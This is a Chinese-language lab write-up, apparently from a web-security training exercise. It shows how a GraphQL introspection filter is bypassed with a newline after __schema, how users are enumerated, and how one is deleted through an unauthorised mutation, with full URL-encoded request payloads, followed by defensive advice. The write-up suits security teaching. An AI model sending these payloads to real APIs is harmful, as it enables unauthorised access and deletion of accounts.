换行绕过内省查询敏感参数越权删除用户
字数 1170 2025-08-10 13:48:22

GraphQL API 安全漏洞分析与防御:换行绕过内省查询与越权删除

实验概述

本实验演示了如何通过特殊字符绕过GraphQL API的内省查询防护机制,最终实现越权删除用户的操作。实验环境是一个购物网站,隐藏了一个GraphQL端点,该端点存在内省查询防护措施。

前置知识点

  1. GraphQL内省查询:通过查询__schema字段可以获取API的完整结构
  2. 防护机制:常见防护包括过滤__schema__type等敏感字段
  3. 绕过技术:使用特殊字符、修改请求方式等绕过防护

实验步骤详解

1. 寻找隐藏的GraphQL端点

  • 访问常规页面未发现GraphQL痕迹
  • 手动探测常见端点路径,如/api
  • 发现/api端点返回"query not present",确认GraphQL端点存在

2. 验证端点有效性

发送基本查询验证端点:

GET /api?query=query{__typename} HTTP/1.1

__typename是GraphQL保留字段,成功返回确认端点有效。

3. 尝试标准内省查询

尝试标准内省查询被拦截:

GET /api?query={__schema{queryType{name}}} HTTP/1.1

发现存在对__schema__type的过滤。

4. 绕过防护机制

尝试多种绕过方法:

  • 空格和特殊字符:无效

    GET /api?query={+__++schema{queryType{name}}} HTTP/1.1
    
  • 换行符绕过:成功

    GET /api?query={__schema%0a{queryType{name}}} HTTP/1.1
    

    分析发现防护采用弱正则匹配__schema{,换行符%0a可绕过。

5. 完整内省查询

构造完整内省查询(URL编码后):

GET /api?query=%71%75%65%72%79%20%49%6e%74%72%6f%73%70%65%63%74%69%6f%6e%51%75%65%72%79%20%7b%20%5f%5f%73%63%68%65%6d%61%0a%7b%20%71%75%65%72%79%54%79%70%65%20%7b%20%6e%61%6d%65%20%7d%20%6d%75%74%61%74%69%6f%6e%54%79%70%65%20%7b%20%6e%61%6d%65%20%7d%20%73%75%62%73%63%72%69%70%74%69%6f%6e%54%79%70%65%20%7b%20%6e%61%6d%65%20%7d%20%74%79%70%65%73%20%7b%20%2e%2e%2e%46%75%6c%6c%54%79%70%65%20%7d%20%64%69%72%65%63%74%69%76%65%73%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%61%72%67%73%20%7b%20%2e%2e%2e%49%6e%70%75%74%56%61%6c%75%65%20%7d%20%20%7d%20%7d%20%7d%66%72%61%67%6d%65%6e%74%20%46%75%6c%6c%54%79%70%65%20%6f%6e%20%5f%5f%54%79%70%65%0a%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%66%69%65%6c%64%73%28%69%6e%63%6c%75%64%65%44%65%70%72%65%63%61%74%65%64%3a%20%74%72%75%65%29%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%61%72%67%73%20%7b%20%2e%2e%2e%49%6e%70%75%74%56%61%6c%75%65%20%7d%20%74%79%70%65%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%69%73%44%65%70%72%65%63%61%74%65%64%20%64%65%70%72%65%63%61%74%69%6f%6e%52%65%61%73%6f%6e%20%7d%20%69%6e%70%75%74%46%69%65%6c%64%73%20%7b%20%2e%2e%2e%49%6e%70%75%74%56%61%6c%75%65%20%7d%20%69%6e%74%65%72%66%61%63%65%73%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%65%6e%75%6d%56%61%6c%75%65%73%28%69%6e%63%6c%75%64%65%44%65%70%72%65%63%61%74%65%64%3a%20%74%72%75%65%29%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%69%73%44%65%70%72%65%63%61%74%65%64%20%64%65%70%72%65%63%61%74%69%6f%6e%52%65%61%73%6f%6e%20%7d%20%70%6f%73%73%69%62%6c%65%54%79%70%65%73%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%7d%20%66%72%61%67%6d%65%6e%74%20%49%6e%70%75%74%56%61%6c%75%65%20%6f%6e%20%5f%5f%49%6e%70%75%74%56%61%6c%75%65%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%74%79%70%65%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%64%65%66%61%75%6c%74%56%61%6c%75%65%20%7d%20%66%72%61%7%6d%65%6e%74%20%54%79%70%65%52%65%66%20%6f%6e%20%5f%5f%54%79%70%65%0a%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%6f%66%54%79%70%65%20%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%6f%66%54%79%70%65%20%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%6f%66%54%79%70%65%20%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%7d%20%7d%20%7d%20%7d HTTP/1.1

6. 分析API结构

通过内省查询发现:

  • 用户查询:getUser(id: ID)
  • 删除操作:deleteOrganizationUser(input: DeleteOrganizationUserInput)

7. 查询用户信息

构造用户查询:

GET /api?query=%71%75%65%72%79%20%7b%0a%09%67%65%74%55%73%65%72%28%69%64%3a%31%33%33%34%29%20%7b%0a%09%09%69%64%0a%09%09%75%73%65%72%6e%61%6d%65%0a%09%7d%0a%7d HTTP/1.1

通过修改ID参数枚举用户,发现carlos用户ID为3。

8. 执行越权删除

构造删除请求:

GET /api?query=%6d%75%74%61%74%69%6f%6e%20%7b%0a%09%64%65%6c%65%74%65%4f%72%67%61%6e%69%7a%61%74%69%6f%6e%55%73%65%72%28%69%6e%70%75%74%3a%7b%69%64%3a%20%33%7d%29%20%7b%0a%09%09%75%73%65%72%20%7b%0a%09%09%09%69%64%0a%09%09%7d%0a%09%7d%0a%7d HTTP/1.1

成功删除carlos用户,完成实验。

漏洞原理分析

  1. 弱正则匹配:防护仅检查__schema{,未考虑换行符等特殊情况
  2. 过度暴露功能:内省查询暴露过多API细节
  3. 权限控制缺失:删除操作未进行充分权限验证

防御措施

  1. 强化过滤规则

    • 使用严格正则匹配,如/\b__schema\b/i
    • 考虑所有空白字符变体
  2. 禁用生产环境内省

    const server = new ApolloServer({
      introspection: process.env.NODE_ENV !== 'production'
    });
    
  3. 深度请求验证

    • 解析并验证整个查询结构
    • 限制查询复杂度
  4. 权限控制

    • 实施基于角色的访问控制(RBAC)
    • 对敏感操作进行二次验证
  5. 查询白名单

    • 预定义允许的查询模式
    • 使用持久化查询
  6. 日志与监控

    • 记录所有GraphQL请求
    • 设置异常查询警报

总结

本实验展示了GraphQL API中常见的安全问题,特别是内省查询防护被绕过导致的越权操作。防御此类攻击需要多层防护,包括严格的输入验证、适当的权限控制和生产环境的安全配置。开发人员应避免依赖单一防护机制,而应采用深度防御策略保护GraphQL端点。

GraphQL API 安全漏洞分析与防御:换行绕过内省查询与越权删除 实验概述 本实验演示了如何通过特殊字符绕过GraphQL API的内省查询防护机制,最终实现越权删除用户的操作。实验环境是一个购物网站,隐藏了一个GraphQL端点,该端点存在内省查询防护措施。 前置知识点 GraphQL内省查询 :通过查询 __schema 字段可以获取API的完整结构 防护机制 :常见防护包括过滤 __schema 和 __type 等敏感字段 绕过技术 :使用特殊字符、修改请求方式等绕过防护 实验步骤详解 1. 寻找隐藏的GraphQL端点 访问常规页面未发现GraphQL痕迹 手动探测常见端点路径,如 /api 发现 /api 端点返回"query not present",确认GraphQL端点存在 2. 验证端点有效性 发送基本查询验证端点: __typename 是GraphQL保留字段,成功返回确认端点有效。 3. 尝试标准内省查询 尝试标准内省查询被拦截: 发现存在对 __schema 和 __type 的过滤。 4. 绕过防护机制 尝试多种绕过方法: 空格和特殊字符 :无效 换行符绕过 :成功 分析发现防护采用弱正则匹配 __schema{ ,换行符 %0a 可绕过。 5. 完整内省查询 构造完整内省查询(URL编码后): 6. 分析API结构 通过内省查询发现: 用户查询: getUser(id: ID) 删除操作: deleteOrganizationUser(input: DeleteOrganizationUserInput) 7. 查询用户信息 构造用户查询: 通过修改ID参数枚举用户,发现carlos用户ID为3。 8. 执行越权删除 构造删除请求: 成功删除carlos用户,完成实验。 漏洞原理分析 弱正则匹配 :防护仅检查 __schema{ ,未考虑换行符等特殊情况 过度暴露功能 :内省查询暴露过多API细节 权限控制缺失 :删除操作未进行充分权限验证 防御措施 强化过滤规则 : 使用严格正则匹配,如 /\b__schema\b/i 考虑所有空白字符变体 禁用生产环境内省 : 深度请求验证 : 解析并验证整个查询结构 限制查询复杂度 权限控制 : 实施基于角色的访问控制(RBAC) 对敏感操作进行二次验证 查询白名单 : 预定义允许的查询模式 使用持久化查询 日志与监控 : 记录所有GraphQL请求 设置异常查询警报 总结 本实验展示了GraphQL API中常见的安全问题,特别是内省查询防护被绕过导致的越权操作。防御此类攻击需要多层防护,包括严格的输入验证、适当的权限控制和生产环境的安全配置。开发人员应避免依赖单一防护机制,而应采用深度防御策略保护GraphQL端点。